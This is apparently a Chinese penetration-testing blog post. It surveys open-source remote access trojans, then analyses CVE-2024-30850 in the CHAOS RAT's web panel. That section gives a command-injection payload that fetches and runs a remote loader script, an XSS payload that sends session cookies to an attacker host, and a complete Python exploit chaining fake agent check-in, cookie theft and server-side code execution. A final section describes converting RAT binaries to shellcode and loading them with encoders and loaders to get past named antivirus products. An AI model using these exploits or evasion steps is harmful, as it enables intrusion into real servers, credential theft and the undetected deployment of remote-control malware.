编辑
2024-04-16
渗透-免杀
00
请注意,本文编写于 568 天前,最后修改于 366 天前,其中某些信息可能已经过时。

目录

Github列表
1. Quasar
2. Stitch
3. AndroRAT
4. CHAOS-不推荐
反制
环境搭建
代码分析
命令注入
agent分析
XSS
漏洞组合
POC
5. TacticalRMM
6. Spark
7. DRat
免杀思路
1.转为Shellcode
2.通过免杀加载器加载
总结

Github列表

远程管理工具RAT是Remote Access Trojan的缩写。RAT软件可用于远程管理和技术支持等。但有时候它也是一种恶意软件,可以在未经授权情况下远程控制计算机系统。RAT用于远程管理或者技术支持给我们在项目维护或者协作提供了很多方便。但由于其用途的广泛,就像菜刀,用在厨房就是切菜,但落到坏人手里可能就是作恶工具。。

1. Quasar

Quasar 是一个用C#编写的快速、轻量级的远程管理工具。从日常管理工作到员工日常监控都支持使用。Quasar提供了高稳定性和易用性的用户界面,是完美的远程管理解决方案。

2. Stitch

Stitch 是一个Python远程管理工具(RAT),用于在Windows、Mac OSX或Linux系统上构建自定义payloads。可以支持选择payload是否绑定到特定的IP和端口,以侦听端口上的连接;还可以设置是否在目标系统启动时,向你发送系统信息邮件,以及是否开启键盘记录。

3. AndroRAT

AndroRAT 是一个用于远程控制的Android系统,并从它检索信息。AndroRAT包含一个客户端和服务器端,客户端采用Java Android开发和服务端基于Python开发。

4. CHAOS-不推荐

存在CVE-2024-30850反制过程如下

反制

CHAOS RAT是由Golang开发的一款带有web面板的开源c2,主要用来挖矿,简单复现分析一下该RAT存在的rce漏洞

环境搭建

项目地址:https://github.com/tiagorlampert/CHAOS 解压,docker运行

# Create a shared directory between the host and container $ mkdir ~/chaos-container $ docker run -it -v ~/chaos-container:/database/ -v ~/chaos-container:/temp/ \ -e PORT=8080 -e SQLITE_DATABASE=chaos -p 8080:8080 tiagorlampert/chaos:latest

代码分析

命令注入

首先在BuildClient 函数找到了一处命令注入

func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error) { if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) { return "", internal.ErrInvalidServerAddress } if !isValidPort(input.ServerPort) { return "", internal.ErrInvalidServerPort } filename, err := utils.NormalizeString(input.Filename) if err != nil { return "", err } newToken, err := c.GenerateNewToken() if err != nil { return "", err } const buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -X main.Port=%s -X main.ServerAddress=%s -X main.Token=%s -extldflags "-static"' -o ../temp/%s main.go` filename = buildFilename(input.OSTarget, filename) buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(input.RunHidden), c.AppVersion, input.ServerPort, input.ServerAddress, newToken, filename) cmd := exec.Command("sh", "-c", buildCmd) cmd.Dir = "client/" outputErr, err := cmd.CombinedOutput() if err != nil { return "", fmt.Errorf("%w:%s", err, outputErr) } return filename, nil }

本地验证命令注入,通过反引号成功实现命令注入 该函数在 generateBinaryPostHandler 中被调用

func (h *httpController) generateBinaryPostHandler(c *gin.Context) { var req request.GenerateClientRequestForm if err := c.ShouldBindWith(&req, binding.Form); err != nil { c.String(http.StatusBadRequest, err.Error()) return } osTarget, err := strconv.Atoi(req.OSTarget) if err != nil { c.String(http.StatusBadRequest, err.Error()) return } binary, err := h.ClientService.BuildClient(client.BuildClientBinaryInput{ ServerAddress: req.Address, ServerPort: req.Port, OSTarget: system.OSTargetIntMap[osTarget], Filename: req.Filename, RunHidden: utils.ParseCheckboxBoolean(req.RunHidden), }) if err != nil { h.Logger.Error(err) c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } c.String(http.StatusOK, binary) return }

而该handler对应的后台路由为 /generate adminGroup.POST("/generate", handler.generateBinaryPostHandler) 通过访问该路由,推测该函数用于生成client被控端,输入的参数例如RunHidden、ServerAddress、ServerPort等 抓包查看所需参数,只有 address、port、os_target、filename、run_hidden五个参数可控

POST /generate HTTP/1.1 Host: 192.168.76.128:8080 Cookie: XDEBUG_SESSION=PHPSTORM; jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTI4MzAxODgsIm9yaWdfaWF0IjoxNzEyODI2NTg4LCJ1c2VyIjoiYWRtaW4ifQ.qaYqzrnAypBZ5dVkRk5LR4GX3U_10dnZxVK6IAwXyfc Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8RrfJ8oE1HE3x45z Referer: http://192.168.76.128:8080/generate Origin: http://192.168.76.128:8080 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Accept: */* Accept-Language: zh-CN,zh;q=0.9 Content-Length: 537 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="address" 172.17.0.2 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="port" 8080 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="os_target" 1 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="filename" ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="run_hidden" false ------WebKitFormBoundary8RrfJ8oE1HE3x45z--

但是每个参数都有一定的检查,经过审计后,只有address存在利用可能

if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) { return "", internal.ErrInvalidServerAddress } if !isValidPort(input.ServerPort) { return "", internal.ErrInvalidServerPort } filename, err := utils.NormalizeString(input.Filename) if err != nil { return "", err }

针对isValidURL的绕过依旧利用反引号

http://example.com/'`touch /tmp/pwn`' or http://example.com'$(IFS=];b=curl]192.168.1.6:80/loader.sh;$b|sh)'

agent分析

生成的agent,主要有三个信息,serveraddress,serverport,token。前两个不用说,token用于agent的身份认证,这些信息都以string形式存放在agent的编译信息中 上线流程为:

  1. 以http携带jwt为cookie字段,不断访问server的 /health 用于检测是否可达 和 /device 用于发送agent主机信息,server端将收到的信息保存,访问 /devices 用于查看所有的上线agent
  2. 以websocket与server的 /client 建立连接,等待指令

结合以上信息,通过提取agent的三个信息,可以伪造agent上线,并且可以控制向server的信息回传

XSS

能造成xss的无非两个地方,主机信息 与 命令回传 在命令回传处,直接输出,造成xss 伪造上线 输入命令,xss

漏洞组合

伪造上线->xss->csrf->server端rce 或 伪造上线->xss->cookie登录->server端rce

POC
import time import requests import threading import json import websocket import argparse import sys import re from functools import partial from http.server import BaseHTTPRequestHandler, HTTPServer class Collector(BaseHTTPRequestHandler): def __init__(self, ip, port, target, *args, **kwargs): self.ip = ip self.port = port self.target = target super().__init__(*args, **kwargs) def do_GET(self): print(self.path) cookie = self.path.split("=")[1] self.send_response(200) self.end_headers() self.wfile.write(b"") print(f"[+]Exploiting {self.target} with JWT {cookie}") headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0', 'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932', 'Cookie': f'jwt={cookie}' } requests.post(url=f"http://{self.target}/generate",data=f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://example.com/\'`touch /tmp/pwn`\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',headers=headers,verify=False) def convert_to_int_array(string): int_array = [] for char in string: int_array.append(ord(char)) return int_array def extract_client_info(path): with open(path, 'rb') as f: data = str(f.read()) address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}" address_pattern = re.compile(address_regexp) address = address_pattern.findall(data)[0].split("=")[1] port_regexp = r"main\.Port=\d{1,6}" port_pattern = re.compile(port_regexp) port = port_pattern.findall(data)[0].split("=")[1] jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*" jwt_pattern = re.compile(jwt_regexp) jwt = jwt_pattern.findall(data)[0].split("=")[1] return f"{address}:{port}", jwt def keep_connection(target, cookie, hostname, username, os_name, mac, ip): headers = { "Cookie": f"jwt={cookie}" } while True: data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())} requests.get(f"http://{target}/health", headers=headers) requests.post(f"http://{target}/device", headers=headers, json=data) time.sleep(30) def handle_command(target, cookie, mac, ip, port): headers = { "Cookie": f"jwt={cookie}", "X-Client": mac } ws = websocket.WebSocket() ws.connect(f'ws://{target}/client', header=headers) while True: ws.recv() data = {"client_id": mac, "response": convert_to_int_array(f"<script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script>"), "has_error": False} ws.send_binary(json.dumps(data)) def run(ip, port, target): server_address = (ip, int(port)) collector = partial(Collector, ip, port, target) httpd = HTTPServer(server_address, collector) print(f'Server running on port {ip}:{port}') httpd.serve_forever() if __name__ == "__main__": parser = argparse.ArgumentParser() subparsers = parser.add_subparsers(dest="option") exploit = subparsers.add_parser("exploit") exploit.add_argument("-f", "--file", help="The path to the CHAOS client") exploit.add_argument("-l", "--local_ip", help="The local IP to use for serving bash script and mp4", required=True) args = parser.parse_args() if args.option == "exploit": target, jwt = extract_client_info(args.file) bg = threading.Thread(target=keep_connection, args=(target, jwt, "DC01", "Administrator", "Windows", "3f:72:58:91:56:56", "10.0.17.12")) bg.start() cmd = threading.Thread(target=handle_command, args=(target, jwt, "3f:72:58:91:56:56", args.local_ip, 8000)) cmd.start() server = threading.Thread(target=run, args=(args.local_ip, 8000, target)) server.start() else: parser.print_help(sys.stderr) sys.exit(1)

5. TacticalRMM

Tactical RMM 是一个基于Web的远程监控管理工具,基于Django和Vue开发。它的主要功能特征包括:

  • 类似TeamViewer的远程桌面控制
  • 实时远程shell
  • 远程文件浏览器(下载和上传文件)
  • 远程命令和脚本执行(批处理、powershell和python脚本)
  • 事件日志查看器
  • 服务管理
  • Windows补丁程序管理
  • 通过电子邮件/短信警报自动检查(CPU、磁盘、内存、服务、脚本、事件日志)
  • 自动任务运行器(按计划运行脚本)
  • 通过chocolatey远程安装软件
  • 软件和硬件清单

6. Spark

Spark 是一款免费、安全、开源、自托管、功能齐全、基于Web的跨平台远程管理工具,Spark支持通过浏览器随时随地控制你想控制的设备。

7. DRat

DRat 是一个去中心化远程控制工具,可以实现在没有服务端和配置文件服务器的情况下实现远程控制和配置下发。支持windows、Linux。主要功能特性包括:

  • 无需服务端:通过电报实现的远程控制,只需要在Group中发送指令,即可实现远程控制。
  • 自带代理:由于电报(Telegram)的特性,需要使用代理才能访问,DRat内置了代理,可以直接使用。
  • ENS配置下发:基于去中心化的ENS,可以实现配置文件的下发。

免杀思路

1.转为Shellcode

通过生成的exe文件

根据PE类型,选择使用pe2sh或donut转为shellcode 下面以Spark为例,使用PE2SHC image.png

2.通过免杀加载器加载

既然已经有shellcode了,免杀的方法就多了。 随便找个不错的加载器如 GitHub - aeverj/NimShellCodeLoader: 免杀,bypassav,免杀框架,nim,shellcode,使用nim编写的shellcode加载器 ,也可以在此之前使用sgn自行加密混淆一次。 GitHub - EgeBalci/sgn: Shikata ga nai (仕方がない) encoder ported into go with several improvements

  • Sgn介绍

SGN编码器一开始被认为是最好的Shellcode编码器,(直到现在其实也是)。作者的github地址是EgeBalci/sgn:https://github.com/EgeBalci/sgn。很有意思的一点是,作者直接在github上发起一项挑战,作者认为认为任何基于规则的静态检测机制都不能检测到用SGN编码的二进制文件,如果有人能编写一个可以检测每个编码输出的 YARA 规则,作者愿意拿出奖金来。

image.png 这里使用直接加载(也可以尝试其他加载方式,不过不保证每一个加载方式都能成功上线,需要自行测试) 再使用SharpThief随便套个资源 image.png 过过360、火绒、defendr还是轻松的。如果不免杀了,静态方面可以使用sgn或者直接采用分离加载。动态方面可以二开加载去自实现内存移动函数,规避杀软的API 调用**。** image.png 成功上线

image.png

总结

由于这些开源RAT使用的人不多,转为shellcode后的特征并没有被国内外厂商标记的太死,所以加一个小众语言加载器或是利用加密编码、分离这些过静态的方式就可以直接免杀。 说到最后最好的免杀方式就是自研C2。